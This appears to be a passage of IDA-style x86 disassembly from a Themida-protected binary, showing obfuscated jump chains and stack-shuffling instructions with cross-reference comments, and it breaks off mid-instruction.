mov [esp], ebp mov ebp, 1E7A6D52h mov ebx, 106A566Ch jmp loc_5AE92E ; --------------------------------------------------------------------------- loc_5A6C89: ; CODE XREF: Themida_:005AC921j mov edx, esi pop esi mov ebx, 2EEB1CF2h jmp loc_59A533 ; --------------------------------------------------------------------------- loc_5A6C96: ; CODE XREF: Themida_:005A21CAj ; Themida_:005AA306j pop ecx add edi, 0F091B94h jmp loc_5997F6 ; --------------------------------------------------------------------------- loc_5A6CA2: ; CODE XREF: Themida_:005AEFB7j add ecx, 4 sub esp, 4 jmp loc_5A9479 ; --------------------------------------------------------------------------- loc_5A6CAD: ; CODE XREF: Themida_:0059D99Ej ; Themida_:005AAF5Ej mov dx, [esp] push 77CFh mov [esp], edi jmp loc_5A91D4 ; --------------------------------------------------------------------------- loc_5A6CBE: ; CODE XREF: Themida_:005AB1CAj pop eax neg ecx jmp loc_5A2CCC ; --------------------------------------------------------------------------- loc_5A6CC6: ; CODE XREF: Themida_:0059A974j mov esi, ebx pop ebx add ebx, 50D6658h add ebx, esi push ecx mov ecx, 5A60EAAh and ecx, 38E07F79h sub ecx, 20FC0FFBh xor ecx, 0DAAE9875h jmp loc_5AC2E2 ; --------------------------------------------------------------------------- loc_5A6CEE: ; CODE XREF: Themida_:005A42FDj add edi, edx sub esp, 4 mov [esp], ebp mov ebp, 4B8D1DC4h sub edi, ebp mov ebp, [esp] add esp, 4 pop edx jmp loc_5AD960 ; --------------------------------------------------------------------------- loc_5A6D0C: ; CODE XREF: Themida_:0059BE92j add edi, esi pop esi xchg edi, [esp] mov esp, [esp] mov ax, [esp] jmp loc_5992B0 ; --------------------------------------------------------------------------- loc_5A6D1E: ; CODE XREF: Themida_:0059BE33j jnp loc_59EC21 push ecx mov ecx, 44296A9Ch and eax, ecx mov ebp, esi loc_5A6D2E: ; CODE XREF: Themida_:005A69D3j add edx, 4 jmp loc_5AC88B ; --------------------------------------------------------------------------- loc_5A6D39: ; CODE XREF: Themida_:005A3FEFj push 5A6h jmp loc_5A4C0D ; --------------------------------------------------------------------------- loc_5A6D43: ; CODE XREF: Themida_:005AA8E0j pop edx xor edx, eax jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A6D4B: ; CODE XREF: Themida_:005AC0F7j sub ah, 0C1h xor cl, ah pop eax add al, cl mov ecx, [esp] add esp, 4 jmp loc_59EAEE ; --------------------------------------------------------------------------- loc_5A6D61: ; CODE XREF: Themida_:0059F2B6j add ebx, 1 xor ebx, 720D7ABBh push 2B3Eh mov [esp], eax mov eax, 31B6B126h jmp loc_5AD2C8 ; --------------------------------------------------------------------------- loc_5A6D7F: ; CODE XREF: Themida_:005A08ECj mov ebp, esp add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx pop ecx jmp loc_5ACE20 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_5A238D ; --------------------------------------------------------------------------- loc_5A6DA4: ; CODE XREF: Themida_:005AA40Bj pop ebp jmp loc_5A0203 ; --------------------------------------------------------------------------- loc_5A6DAA: ; CODE XREF: Themida_:0059B46Bj xor ecx, 731126A7h jmp loc_59A137 ; --------------------------------------------------------------------------- loc_5A6DB5: ; CODE XREF: Themida_:005AE59Ej pop edx xor ecx, eax mov eax, [esp] jmp loc_5A07A0 ; --------------------------------------------------------------------------- loc_5A6DC0: ; CODE XREF: Themida_:005A9B6Fj jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A6DC5: ; CODE XREF: Themida_:0059D9CAj xchg esi, [esp] pop esp mov [esp], ebp mov ebp, 4 add ecx, ebp mov ebp, [esp] push edi jmp loc_5A7575 ; --------------------------------------------------------------------------- loc_5A6DDC: ; CODE XREF: Themida_:0059EF62j sub eax, ecx pop ecx push edx mov edx, 4CD38CAh add eax, 545B15A0h sub eax, 3B54904h add eax, edx add eax, 3B54904h jmp loc_59FA9C ; --------------------------------------------------------------------------- loc_5A6DFB: ; CODE XREF: Themida_:005A7D81j sub esp, 4 jmp loc_5A7672 ; --------------------------------------------------------------------------- loc_5A6E03: ; CODE XREF: Themida_:005A8E4Fj ; Themida_:005AD8F4j push dword ptr [esp] pop edx push 262Ch mov [esp], ebp mov ebp, esp push 3CBAh mov [esp], ebx mov ebx, 50EA7827h sub ebx, 1 add ebx, 15EF4D0Ah add ebx, 729D746Ah add ebx, 2688C66Ah add ebp, ebx jmp loc_5A4CBD ; --------------------------------------------------------------------------- loc_5A6E3D: ; CODE XREF: Themida_:0059F829j pop ecx shr ecx, 5 xor ecx, 5CFD7A2Fh sub ecx, 312B7E6Dh and ecx, 129A3D7Ch push edi mov edi, 42933EFDh xor ecx, edi mov edi, [esp] add esp, 4 push 7DF9h mov [esp], ebp mov ebp, 3E3A0B60h push edx mov edx, 7A700002h dec edx jmp loc_5AE873 ; --------------------------------------------------------------------------- loc_5A6E7A: ; CODE XREF: Themida_:005A0CA8j jmp loc_599ACC ; --------------------------------------------------------------------------- loc_5A6E7F: ; CODE XREF: Themida_:005A5D88j push dword ptr [esp+4] push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_5A5902 ; --------------------------------------------------------------------------- loc_5A6E91: ; CODE XREF: Themida_:005A469Fj add al, dh pop edx jmp loc_5ADC20 ; --------------------------------------------------------------------------- loc_5A6E99: ; CODE XREF: Themida_:005A5CC8j pop edi add edx, edi sub edx, 442A2F2Dh jmp loc_5A5933 ; --------------------------------------------------------------------------- loc_5A6EA7: ; CODE XREF: Themida_:005AED31j mov dl, cl pop ecx jmp loc_5A57A6 ; --------------------------------------------------------------------------- loc_5A6EAF: ; CODE XREF: Themida_:005A3B51j pop ecx push edx mov edx, esp jmp loc_5A6250 ; --------------------------------------------------------------------------- loc_5A6EB8: ; CODE XREF: Themida_:005ABFE9j push edi mov edi, esp push ebp mov ebp, 4 add edi, ebp pop ebp push ebp mov ebp, 4 sub edi, ebp pop ebp xchg edi, [esp] pop esp mov [esp], esi push esp push dword ptr [esp] pop esi push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push 2F6Dh mov [esp], ebp jmp loc_5A2EBC ; --------------------------------------------------------------------------- loc_5A6EF7: ; CODE XREF: Themida_:005AC983j mov ebx, 32C43045h dec ebx dec ebx sub ebx, 23D5C9FBh sub ecx, ebx pop ebx sub ecx, ebx add ecx, 0EEE6648h mov ebx, [esp] add esp, 4 jmp loc_5A3F65 ; --------------------------------------------------------------------------- loc_5A6F1A: ; CODE XREF: Themida_:0059FB54j mov esp, [esp] push ebp push edx push ebx mov ebx, 39BB5794h mov edx, 30E0254Ch xor edx, ebx pop ebx push edx push esi pop edx pop esi xor esi, ebp xor ebp, esi xor esi, ebp not ebp xchg ebp, esi xchg esi, edx xor edx, 7EC27ABBh xor edx, 8866F798h mov ebp, edx mov edx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_5A8E25 ; --------------------------------------------------------------------------- loc_5A6F5C: ; CODE XREF: Themida_:005A0709j push eax jmp loc_5A8167 ; --------------------------------------------------------------------------- loc_5A6F62: ; CODE XREF: Themida_:005AB8DCj sub esp, 4 mov [esp], eax jmp loc_5A3912 ; --------------------------------------------------------------------------- loc_5A6F6D: ; CODE XREF: Themida_:005999D6j pop esi jmp loc_59D261 ; --------------------------------------------------------------------------- loc_5A6F73: ; CODE XREF: Themida_:005A4BD6j push 60A1h mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] push eax push 332Dh jmp loc_5A1023 ; --------------------------------------------------------------------------- push 3008h push 6521h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push 4175h mov [esp], esi mov esi, esp add esi, 4 push ebp jmp loc_5A7568 ; --------------------------------------------------------------------------- loc_5A6FBA: ; CODE XREF: Themida_:005A40F4j pop ebx and edx, 639A6F85h not edx neg edx push 51D1h mov [esp], esi jmp loc_59DF0E ; --------------------------------------------------------------------------- loc_5A6FD2: ; CODE XREF: Themida_:005990C8j push dword ptr [esp] mov eax, [esp] jmp loc_59DCD9 ; --------------------------------------------------------------------------- loc_5A6FDD: ; CODE XREF: Themida_:0059CB34j mov edi, edx pop edx add edi, ecx jmp loc_59E064 ; --------------------------------------------------------------------------- loc_5A6FE7: ; CODE XREF: Themida_:0059FBFDj xor edx, 7E5B4Dh jl loc_5A12E5 jmp loc_5986AE ; --------------------------------------------------------------------------- loc_5A6FF8: ; CODE XREF: Themida_:005ACDD0j xor edx, 7BCA0505h jnz loc_59924C xor edx, 0F2336367h jmp loc_59838C ; --------------------------------------------------------------------------- push edx mov dh, 5Bh loc_5A7012: ; CODE XREF: Themida_:005A8986j mov [esp], edx push 0D976A22h pop edx push ebx jmp loc_5A8A86 ; --------------------------------------------------------------------------- loc_5A7021: ; CODE XREF: Themida_:005A6C20j sub esp, 4 mov [esp], eax mov eax, 591A4F52h push edx mov edx, 591A4F4Eh add eax, 6EB4002Bh sub eax, 3BB35BA6h sub eax, edx add eax, 3BB35BA6h jmp loc_5AE83C ; --------------------------------------------------------------------------- loc_5A704B: ; CODE XREF: Themida_:005A4D1Aj sub eax, 50F101Bh sub eax, edi add eax, 50F101Bh jmp loc_5AC21A ; --------------------------------------------------------------------------- loc_5A705C: ; CODE XREF: Themida_:loc_5A819Dj dec esi jnp loc_5A56A8 shr esi, 6 sub esi, 0DCC57E8Ch inc esi mov bl, dl loc_5A706F: ; CODE XREF: Themida_:005AD034j pop esp jmp loc_5A41DD ; --------------------------------------------------------------------------- loc_5A7075: ; CODE XREF: Themida_:005A8BF6j add esp, 4 push 36A1h jmp loc_5AA9FF ; --------------------------------------------------------------------------- loc_5A7082: ; CODE XREF: Themida_:005A2ADEj xor ebp, 5D952722h jmp loc_5A085A ; --------------------------------------------------------------------------- loc_5A708D: ; CODE XREF: Themida_:0059C23Bj add eax, ebx jmp loc_599B23 ; --------------------------------------------------------------------------- loc_5A7094: ; CODE XREF: Themida_:005A69EFj sub esp, 2 jmp loc_5A71A8 ; --------------------------------------------------------------------------- loc_5A709F: ; CODE XREF: Themida_:00599FE6j mov edi, 7B381C15h jmp loc_5A7981 ; --------------------------------------------------------------------------- loc_5A70A9: ; CODE XREF: Themida_:00598569j mov [esp], ebx mov bh, al sub esp, 4 mov [esp], edx push eax mov ah, bh mov dh, ah pop eax jmp loc_5A4053 ; --------------------------------------------------------------------------- loc_5A70C2: ; CODE XREF: Themida_:005A0723j push esi mov esi, 6D087A35h push 2674h jmp loc_5A5F60 ; --------------------------------------------------------------------------- loc_5A70D2: ; CODE XREF: Themida_:005A1921j push ebp jmp loc_5A4874 ; --------------------------------------------------------------------------- loc_5A70D8: ; CODE XREF: Themida_:005AD656j push dword ptr [esp+4] jmp loc_59B1BD ; --------------------------------------------------------------------------- loc_5A70E1: ; CODE XREF: Themida_:0059F42Cj push edx mov dl, 7Eh xor dl, 64h not dl jmp loc_59D7A7 ; --------------------------------------------------------------------------- loc_5A70EE: ; CODE XREF: Themida_:0059C9DDj mov ecx, esp jmp loc_5A95F8 ; --------------------------------------------------------------------------- loc_5A70F5: ; CODE XREF: Themida_:0059EAC5j add edx, 6E9C21B9h and edx, 41A05750h ja loc_59BB42 and edx, 213370EAh jmp loc_5AAF0A ; --------------------------------------------------------------------------- loc_5A7112: ; CODE XREF: Themida_:loc_59E074j and esi, 42117B0Ah neg esi jmp loc_5A819D ; --------------------------------------------------------------------------- loc_5A711F: ; CODE XREF: Themida_:0059B07Fj ; Themida_:005A1AFAj mov ebp, [esp] push 1CD5h mov [esp], edx jmp loc_5AA6D2 ; --------------------------------------------------------------------------- loc_5A712F: ; CODE XREF: Themida_:005A5AC4j xchg eax, [esp] jmp loc_5A4366 ; --------------------------------------------------------------------------- loc_5A7137: ; CODE XREF: Themida_:005987E9j jmp loc_59A9FA ; --------------------------------------------------------------------------- loc_5A713C: ; CODE XREF: Themida_:005A1735j neg eax jmp loc_5A2424 ; --------------------------------------------------------------------------- loc_5A7143: ; CODE XREF: Themida_:0059FD68j ; Themida_:005AF27Dj add edi, 0BAFD87E0h add edx, edi pop edi xchg edx, [esp] mov esp, [esp] xor ebp, [esp] xor [esp], ebp jmp loc_5A517F ; --------------------------------------------------------------------------- loc_5A715D: ; CODE XREF: Themida_:loc_5A34F9j sub al, 90h jg loc_5AC6D0 xor al, 89h jnp loc_5AD5DA mov al, 6Dh mov ch, al loc_5A7171: ; CODE XREF: Themida_:0059BD7Ej xchg ebp, [esp] pop esp mov [esp], ebx push 2DF2h mov [esp], eax jmp loc_5A8155 ; --------------------------------------------------------------------------- loc_5A7185: ; CODE XREF: Themida_:005A990Aj jmp loc_5A2F4A ; --------------------------------------------------------------------------- loc_5A718A: ; CODE XREF: Themida_:00598DD1j ; Themida_:005A15BCj add esp, 4 push 6ECh jmp loc_59DEC5 ; --------------------------------------------------------------------------- loc_5A719A: ; CODE XREF: Themida_:005A2D90j push ecx mov ecx, esp add ecx, 4 jmp loc_5A8063 ; --------------------------------------------------------------------------- loc_5A71A8: ; CODE XREF: Themida_:005A33CCj ; Themida_:005A709Aj mov [esp], ax push edx mov dl, cl jmp loc_59AFC0 ; --------------------------------------------------------------------------- loc_5A71B4: ; CODE XREF: Themida_:005A515Dj add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push edx mov edx, 6EEB136Ah jmp loc_5A13CA ; --------------------------------------------------------------------------- loc_5A71CE: ; CODE XREF: Themida_:005ADA83j sub esp, 4 jmp loc_5A1524 ; --------------------------------------------------------------------------- loc_5A71D6: ; CODE XREF: Themida_:0059E3D5j add ecx, ebp push ebp mov ebp, 759C4D6Ah push edi mov edi, 78035DF7h neg edi sub edi, 7B252238h xor ebp, edi pop edi add ecx, 7A723ED9h jmp loc_59BD39 ; --------------------------------------------------------------------------- loc_5A71FA: ; CODE XREF: Themida_:005A24A5j push esp pop dword ptr [esp] push edx mov edx, 4 add [esp+4], edx pop edx pop ebx add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_59FB51 ; --------------------------------------------------------------------------- loc_5A721E: ; CODE XREF: Themida_:005A0794j mov dx, 0A1FCh mov bp, dx pop dx sub bp, ax jmp loc_5A2DFA ; --------------------------------------------------------------------------- loc_5A722F: ; CODE XREF: Themida_:0059CACCj pop ebp add eax, edx add eax, 565A2CD4h jmp loc_5A18F4 ; --------------------------------------------------------------------------- loc_5A723C: ; CODE XREF: Themida_:0059ED1Aj add esp, 4 push edi mov edi, 51D351B3h jmp loc_5A5E19 ; --------------------------------------------------------------------------- loc_5A724A: ; CODE XREF: Themida_:0059CB61j add esp, 4 add bl, al push edx mov dl, 0F2h sub bl, dl pop edx movzx eax, al lea eax, [edi+eax*4] push 193h mov [esp], ebp mov ebp, esp jmp loc_5ABA82 ; --------------------------------------------------------------------------- loc_5A726A: ; CODE XREF: Themida_:0059BF83j shr bl, 4 add bl, 1 shl bl, 1 add bl, 0BEh add al, bl pop ebx pop ecx jmp loc_59D416 ; --------------------------------------------------------------------------- loc_5A727E: ; CODE XREF: Themida_:loc_5A6060j jmp loc_5AA037 ; --------------------------------------------------------------------------- loc_5A7283: ; CODE XREF: Themida_:005A0526j push 2C280AFDh pop edi sub esp, 4 mov [esp], edx mov edx, 44E82016h xor edi, edx mov edx, [esp] add esp, 4 push edx mov edx, 31CF5A65h or edi, edx pop edx shr edi, 6 jmp loc_5A2D59 ; --------------------------------------------------------------------------- loc_5A72B0: ; CODE XREF: Themida_:00599617j shl ecx, 3 add ecx, 0FFFFFFFFh jmp loc_59B5BC ; --------------------------------------------------------------------------- loc_5A72BB: ; CODE XREF: Themida_:005AA09Fj sub esp, 4 jmp loc_5A259B ; --------------------------------------------------------------------------- loc_5A72C6: ; CODE XREF: Themida_:0059C8F6j mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_59B4E8 ; --------------------------------------------------------------------------- loc_5A72DD: ; CODE XREF: Themida_:005A52A3j mov [esp], edi mov edi, 1E0F1E36h push ebp mov ebp, 0C9C3DF7h sub dword ptr [esp+8], 55FC4673h jmp loc_59F3F6 ; --------------------------------------------------------------------------- loc_5A72F8: ; CODE XREF: Themida_:005AEBEBj add dword ptr [esp+8], 55FC4673h pop ebp add [esp+4], edi sub dword ptr [esp+4], 0C9C3DF7h pop edi mov eax, [esp] push esi push 78F8h mov [esp], esp push ecx mov ecx, 4 add [esp+4], ecx pop ecx mov esi, [esp] add esp, 4 add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_5AED17 ; --------------------------------------------------------------------------- loc_5A733F: ; CODE XREF: Themida_:00599CC3j sub ecx, 3AD91FFFh jmp loc_5A7F33 ; --------------------------------------------------------------------------- loc_5A734A: ; CODE XREF: Themida_:0059B4EBj pop esp sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 push 2738h mov [esp], esi push edx mov edx, 4 push ebp push edi mov edi, edx mov ebp, edi jmp loc_5A021F ; --------------------------------------------------------------------------- loc_5A7374: ; CODE XREF: Themida_:005A2F50j add ebx, 0C102D885h jmp loc_5AD5BD ; --------------------------------------------------------------------------- loc_5A737F: ; CODE XREF: Themida_:loc_5A765Cj shr ecx, 4 js loc_59F145 jmp loc_5AB8D2 ; --------------------------------------------------------------------------- loc_5A738D: ; CODE XREF: Themida_:0059AC6Cj pop esi not esi jmp loc_5A0CF1 ; --------------------------------------------------------------------------- loc_5A7395: ; CODE XREF: Themida_:005ADE66j push ecx mov ecx, 4 add [esp+4], ecx pop ecx jmp loc_59BA10 ; --------------------------------------------------------------------------- loc_5A73A5: ; CODE XREF: Themida_:005A1F0Bj ; Themida_:005A55C7j shr edx, 5 add edx, 328D1F80h push edi jmp loc_5ACF08 ; --------------------------------------------------------------------------- loc_5A73B4: ; CODE XREF: Themida_:005A675Ej sub ecx, eax pop eax jmp loc_5AA671 ; --------------------------------------------------------------------------- dd 0FF2434FFh, 68582434h, 5893h, 0E9243489h, 0FFFF6FE4h ; --------------------------------------------------------------------------- loc_5A73D0: ; CODE XREF: Themida_:005A5DC9j mov [esp], edi mov edi, 5970132Ch shl edi, 2 push esi mov esi, 62A91515h xor edi, esi pop esi push ebp push esi mov esi, 6F9A220Ch mov ebp, 2B193923h xor ebp, esi jmp loc_5AA5C4 ; --------------------------------------------------------------------------- loc_5A73F7: ; CODE XREF: Themida_:0059B652j mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5A8011 ; --------------------------------------------------------------------------- loc_5A740F: ; CODE XREF: Themida_:005AC3C3j not edx jmp loc_59CEB3 ; --------------------------------------------------------------------------- loc_5A7416: ; CODE XREF: Themida_:0059AD12j shr ebp, 7 dec ebp xor ebp, 0A6627A9h inc ebp xor ebp, 0B9C4C4Bh mov eax, ebp pop ebp add esi, eax mov eax, [esp] push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_59FF45 ; --------------------------------------------------------------------------- loc_5A7440: ; CODE XREF: Themida_:005AA34Dj mov ebx, 249E7F87h mov edi, 5F714A77h xor edi, 12C5439h ja loc_5A3187 not edi jmp loc_5A54AD ; --------------------------------------------------------------------------- xor ebp, 0AB7A0BDh pop ecx loc_5A7464: ; CODE XREF: Themida_:005AA8B7j add eax, 0A2359D2Dh jmp loc_5AA5FB ; --------------------------------------------------------------------------- loc_5A746E: ; CODE XREF: Themida_:loc_59C9A2j shl edi, 2 add edi, 1F0A2591h jno loc_5AB704 sub edi, 107FB628h push eax jmp loc_5A34A0 ; --------------------------------------------------------------------------- loc_5A7489: ; CODE XREF: Themida_:005A1473j add edx, ebp add edx, 1A9E3C29h jmp loc_59EC66 ; --------------------------------------------------------------------------- loc_5A7496: ; CODE XREF: Themida_:005A249Cj xor eax, 7BEA1B95h or ecx, eax pop eax sub esp, 4 mov [esp], edx push 54221799h mov edx, [esp] jmp loc_5ADF95 ; --------------------------------------------------------------------------- loc_5A74B1: ; CODE XREF: Themida_:005A9FE4j mov esi, [esp] jmp loc_5A627D ; --------------------------------------------------------------------------- loc_5A74B9: ; CODE XREF: Themida_:005ADE82j sub ebp, 779BEF74h add ebx, ebp pop ebp push 7238h mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_598BE9 ; --------------------------------------------------------------------------- loc_5A74DA: ; CODE XREF: Themida_:005991D2j push esi jmp loc_5ADB23 ; --------------------------------------------------------------------------- loc_5A74E0: ; CODE XREF: Themida_:005A93F9j jmp loc_5A1A26 ; --------------------------------------------------------------------------- loc_5A74E5: ; CODE XREF: Themida_:loc_5A026Aj sub eax, 0FFFFFFFFh shr eax, 6 jmp loc_5A62C7 ; --------------------------------------------------------------------------- loc_5A74F2: ; CODE XREF: Themida_:0059DC8Ej mov ebp, esp add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx pop ecx xchg ebp, [esp] pop esp mov [esp], ecx push ebx jmp loc_5AE85B ; --------------------------------------------------------------------------- loc_5A7510: ; CODE XREF: Themida_:005AA03Bj jnz loc_5ACE09 jmp loc_5AD775 ; --------------------------------------------------------------------------- mov [esp], edx mov dl, 51h add dl, 7Fh mov ah, 75h loc_5A7525: ; CODE XREF: Themida_:005AAE45j pop ecx xor edx, 687915CDh push edx pop ebx mov edx, [esp] jmp loc_5AE06B ; --------------------------------------------------------------------------- loc_5A7536: ; CODE XREF: Themida_:005A69FBj shl eax, 2 push edx jmp loc_5ACB61 ; --------------------------------------------------------------------------- loc_5A753F: ; CODE XREF: Themida_:005A2476j push dword ptr [esp] pop ecx add esp, 4 xchg edx, ebx and ebx, 6E0567BEh xor ebx, 7A855D95h jbe loc_5A4AFB add ebx, 66942AC8h jmp loc_5AEA48 ; --------------------------------------------------------------------------- loc_5A7568: ; CODE XREF: Themida_:005A6FB5j mov ebp, 4C8F6C43h shl ebp, 6 jmp loc_59C1F6 ; --------------------------------------------------------------------------- loc_5A7575: ; CODE XREF: Themida_:005A6DD7j mov edi, esp add edi, 4 jmp loc_5AD582 ; --------------------------------------------------------------------------- loc_5A7582: ; CODE XREF: Themida_:0059E3A2j ; Themida_:005A2157j mov edi, 2C74718Fh jmp loc_5AC33E ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] jmp loc_5A7F97 ; --------------------------------------------------------------------------- loc_5A7596: ; CODE XREF: Themida_:0059E25Ej add ebp, 4 xchg ebp, [esp] pop esp xor [esp], cl xor cl, [esp] xor [esp], cl jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A75AB: ; CODE XREF: Themida_:005A2AF1j mov esi, 252F4AECh push 0 add dword ptr [esp], 212928E0h jmp loc_59BB10 ; --------------------------------------------------------------------------- loc_5A75C1: ; CODE XREF: Themida_:00599FCFj push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp sub esp, 4 mov [esp], edi jmp loc_5A6177 ; --------------------------------------------------------------------------- loc_5A75E2: ; CODE XREF: Themida_:005AB81Bj pop esp pop dword ptr [esp] mov esp, [esp] push 2B94h mov [esp], ecx push edi push ebp mov ebp, 7E3C2B7Ah jmp loc_5A1CC6 ; --------------------------------------------------------------------------- loc_5A75FD: ; CODE XREF: Themida_:005A7B26j not dword ptr [esp] inc dword ptr [esp] pop ebx xor ebx, 0BA8CED51h jmp loc_5A024F ; --------------------------------------------------------------------------- loc_5A760F: ; CODE XREF: Themida_:0059C119j ; Themida_:005A5016j neg edx add edx, 507F5522h jmp loc_5AB4BF ; --------------------------------------------------------------------------- loc_5A761C: ; CODE XREF: Themida_:005A44C7j add ebp, 4 xchg ebp, [esp] pop esp mov eax, [esp] push ebx jmp loc_5AC9FC ; --------------------------------------------------------------------------- loc_5A762F: ; CODE XREF: Themida_:005A86C2j mov [esp], esi push edi push 502C32C8h pop edi jmp loc_5A589C ; --------------------------------------------------------------------------- loc_5A763E: ; CODE XREF: Themida_:0059D0E7j add ecx, 20933698h shl ecx, 2 jnp loc_59A8D8 xor ecx, 45A2DEE4h mov esi, ecx pop ecx sub ecx, esi pop esi xor ecx, [esp] loc_5A765C: ; CODE XREF: Themida_:loc_5A9C90j jmp loc_5A737F ; --------------------------------------------------------------------------- loc_5A7661: ; CODE XREF: Themida_:005A2F7Cj add dl, 5 mov ch, dl pop edx jmp loc_59AFA2 ; --------------------------------------------------------------------------- loc_5A766C: ; CODE XREF: Themida_:005A6B80j pop esi jmp loc_5A96CF ; --------------------------------------------------------------------------- loc_5A7672: ; CODE XREF: Themida_:0059A6EEj ; Themida_:005A6DFEj mov [esp], edx push ebx mov bl, 85h mov dl, bl pop ebx add al, dl jmp loc_5A90DC ; --------------------------------------------------------------------------- loc_5A7682: ; CODE XREF: Themida_:0059D757j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx push ecx mov ch, 4 mov dh, 67h jmp loc_5A4D55 ; --------------------------------------------------------------------------- loc_5A769C: ; CODE XREF: Themida_:loc_5A5851j ; Themida_:005A6278j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5A8422 ; --------------------------------------------------------------------------- loc_5A76B4: ; CODE XREF: Themida_:005A848Dj mov ebx, 61FB6D05h jmp loc_5A4064 ; --------------------------------------------------------------------------- loc_5A76BE: ; CODE XREF: Themida_:005A1391j push 4C24h mov [esp], edx push eax pushf jmp loc_5AF0B1 ; --------------------------------------------------------------------------- loc_5A76CD: ; CODE XREF: Themida_:0059A91Cj add edx, 4 xchg edx, [esp] pop esp xchg edi, [esp] mov esp, [esp] mov [esp], cx jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A76E3: ; CODE XREF: Themida_:005AD04Cj add esi, edx add esi, 76D50DABh pop edx jmp loc_5A148B ; --------------------------------------------------------------------------- loc_5A76F1: ; CODE XREF: Themida_:005988A4j sub eax, 4CD9627Ah jmp loc_59C1C7 ; --------------------------------------------------------------------------- loc_5A76FB: ; CODE XREF: Themida_:005A794Cj xchg ecx, [esp] pop esp push bp xchg ax, [esp] not ax xchg ax, [esp] mov bp, [esp] push ecx jmp loc_59FD43 ; --------------------------------------------------------------------------- loc_5A7716: ; CODE XREF: Themida_:005A25F4j pop edi xor edx, 0EC379275h sub ecx, edx pop edx sub ecx, 1321064Bh add ecx, ebp jmp loc_5A8885 ; --------------------------------------------------------------------------- loc_5A772D: ; CODE XREF: Themida_:0059DD7Bj add ebx, eax push 7431h mov [esp], edx mov edx, 2F9F7511h sub ebx, edx pop edx push esi mov esi, 0F4F0D6Dh jmp loc_5A9C00 ; --------------------------------------------------------------------------- loc_5A774A: ; CODE XREF: Themida_:005A83E6j not ebx jmp loc_5AB437 ; --------------------------------------------------------------------------- loc_5A7751: ; CODE XREF: Themida_:005ABD78j and ebx, 7BF40681h jmp loc_5A625C ; --------------------------------------------------------------------------- loc_5A775C: ; CODE XREF: Themida_:005A12E0j sub eax, 278E7559h sub eax, ecx add eax, 278E7559h mov ecx, [esp] push ecx mov ecx, esp jmp loc_5A3F6B ; --------------------------------------------------------------------------- loc_5A7773: ; CODE XREF: Themida_:0059E26Ej add esi, 22C8E3C7h jmp loc_59DA25 ; --------------------------------------------------------------------------- loc_5A777E: ; CODE XREF: Themida_:005A434Bj mov ebx, [esp] add esp, 4 xor bl, al movzx eax, al pop dword ptr [edi+eax*4] jmp loc_59BBCD ; --------------------------------------------------------------------------- loc_5A7794: ; CODE XREF: Themida_:0059CAECj jmp loc_5A9E49 ; --------------------------------------------------------------------------- loc_5A7799: ; CODE XREF: Themida_:005AB97Fj mov edi, [esp] add esp, 4 xor ebp, 1526A184h sub edx, ebp pop ebp sub edx, 728A3FF9h add edx, eax push ecx push edi mov edi, 5A9D2D0Fh sub edi, 63EE48A8h push ecx jmp loc_5A03CB ; --------------------------------------------------------------------------- loc_5A77C3: ; CODE XREF: Themida_:0059A5BEj xor al, ch pop ecx sub esp, 4 mov [esp], edx jmp loc_59CB6F ; --------------------------------------------------------------------------- loc_5A77D1: ; CODE XREF: Themida_:005AE21Bj mov edx, 6D1608B1h inc edx jo loc_59FBF7 sub edx, 44971BE5h jnp loc_5A7AD4 xor edx, 7E5B4Dh jl loc_598EC2 mov dl, cl push esi loc_5A77F8: ; CODE XREF: Themida_:0059BB03j ; Themida_:0059DD95j add bl, ch jmp loc_5A6234 ; --------------------------------------------------------------------------- loc_5A77FF: ; CODE XREF: Themida_:0059DF09j sub dword ptr [edi+20h], 5C6011E6h jmp loc_5A4BF8 ; --------------------------------------------------------------------------- loc_5A780B: ; CODE XREF: Themida_:005A5D0Fj or eax, 91D4568h jnz loc_59DB0F push 6608h mov [esp], esi push eax mov ebp, ebx mov edi, edx loc_5A7823: ; CODE XREF: Themida_:005A337Fj ; Themida_:005A83AAj mov ah, bl pop ebx pop ecx jmp loc_59ABD5 ; --------------------------------------------------------------------------- loc_5A782C: ; CODE XREF: Themida_:005A60ADj add esp, 4 push esi mov esi, esp add esi, 4 jmp loc_5A3790 ; --------------------------------------------------------------------------- loc_5A7840: ; CODE XREF: Themida_:0059B1D1j mov [esp], cx mov cl, 72h add al, cl mov cx, [esp] jmp loc_59F19A ; --------------------------------------------------------------------------- loc_5A7851: ; CODE XREF: Themida_:0059CAD8j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A7856: ; CODE XREF: Themida_:005A6544j mov edx, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_5A2384 ; --------------------------------------------------------------------------- loc_5A7870: ; CODE XREF: Themida_:005983B9j ; Themida_:005ACD0Aj dec ebx jp loc_5AE164 inc ebx jno loc_59E0C7 add ebx, 583F9CBFh jmp loc_5A6A25 ; --------------------------------------------------------------------------- and ecx, ebx loc_5A788B: ; CODE XREF: Themida_:0059A0D5j mov ebp, 30982E63h xor [esp+4], ebp mov ebp, [esp] add esp, 4 mov ecx, [esp] jmp 